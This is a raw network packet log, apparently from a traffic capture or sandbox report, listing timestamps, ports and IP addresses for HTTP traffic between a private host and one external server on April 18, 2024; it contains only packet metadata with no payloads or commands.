Apr 18, 2024 23:40:15.149307966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149312019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149327993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149346113 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149353027 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149353027 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149364948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149373055 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149383068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149391890 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149405003 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149421930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149430037 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149441004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149454117 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149461031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149477005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149480104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149497032 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149498940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149522066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149522066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149537086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149550915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149568081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149581909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149586916 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149595022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149610043 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149614096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149622917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149636984 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149636984 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149651051 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149663925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149677038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149688959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149702072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149703026 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149715900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149729013 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149729013 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149743080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149745941 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149745941 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149761915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149775982 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149789095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149801970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149804115 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149805069 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149815083 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149827957 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149842978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149856091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149868965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149869919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149882078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149888039 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149894953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149905920 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149908066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149923086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149930000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149935007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149946928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149960041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149965048 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149972916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149985075 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149986029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149998903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150002956 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150012016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150023937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150037050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150038004 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150051117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150063038 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150063038 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150067091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150079966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150088072 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150093079 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150105953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150124073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150131941 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150139093 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150152922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150166035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150166035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150178909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150192022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150192022 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150204897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150211096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150218010 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150228024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150230885 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150243998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150255919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150269032 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150279999 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150280952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150294065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150306940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150314093 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150319099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150333881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150336981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150346994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150358915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150361061 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150372028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150386095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150392056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150398970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150410891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150414944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150423050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150430918 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150437117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150449991 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150453091 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150463104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150475979 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150484085 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150489092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150501966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150505066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150513887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.150521994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150558949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.150578976 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.152228117 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.313410997 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.313529015 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.316190958 CEST	80	49756	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.316261053 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.316315889 CEST	49756	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.317799091 CEST	49756	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.382402897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.382426977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.382445097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.382464886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.382486105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.382504940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.382539988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.382611990 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.395585060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395661116 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.395701885 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395750046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.395899057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395919085 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395936966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395955086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395972013 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.395986080 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.395991087 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.396013975 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.396013975 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.396047115 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397242069 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397260904 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397280931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397301912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397306919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397353888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397372007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397381067 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397381067 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397392035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397429943 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397435904 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397450924 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397468090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397481918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397495985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397509098 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397521019 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397533894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397542953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397576094 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397576094 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397617102 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397721052 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397819996 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397847891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397861958 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397875071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397876024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397888899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397895098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397902966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397912025 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397916079 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397927999 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397936106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397941113 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397957087 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397969961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397974968 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397983074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.397994995 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.397996902 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398010015 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398015022 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398022890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398036957 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398046017 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398051023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398066044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398068905 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398081064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398088932 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398093939 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398107052 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398108006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398119926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398128986 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398133039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398148060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398159027 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398160934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398174047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398185015 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398185015 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398186922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398212910 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398233891 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398256063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398274899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398293018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398310900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398323059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398334026 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398344040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398353100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398370028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398372889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398387909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398405075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398411989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398428917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398436069 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398458004 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398469925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398488998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398505926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398513079 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398525000 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398530006 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398556948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398564100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398576021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398586035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398596048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398612022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398622990 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398629904 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398642063 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398650885 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398658037 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398670912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398674011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398688078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398690939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398708105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398713112 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398725986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398731947 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398747921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398750067 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398766994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398767948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398786068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398794889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398803949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398813963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398823023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398838997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398840904 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398859978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398866892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398866892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398879051 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398890018 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398899078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398905993 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398930073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398932934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398947001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398948908 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.398961067 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398973942 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398988008 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.398994923 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399002075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399014950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399022102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399022102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399032116 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399040937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399045944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399060011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399060965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399075031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399079084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399087906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399101019 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399101019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399101019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399115086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399127960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399135113 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399135113 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399142981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399154902 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399157047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399171114 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399173021 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399183035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399189949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399195910 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399210930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399224043 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399225950 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399225950 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399236917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399246931 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399251938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399265051 CEST	80	49746	193.233.132.167	192.168.2.4
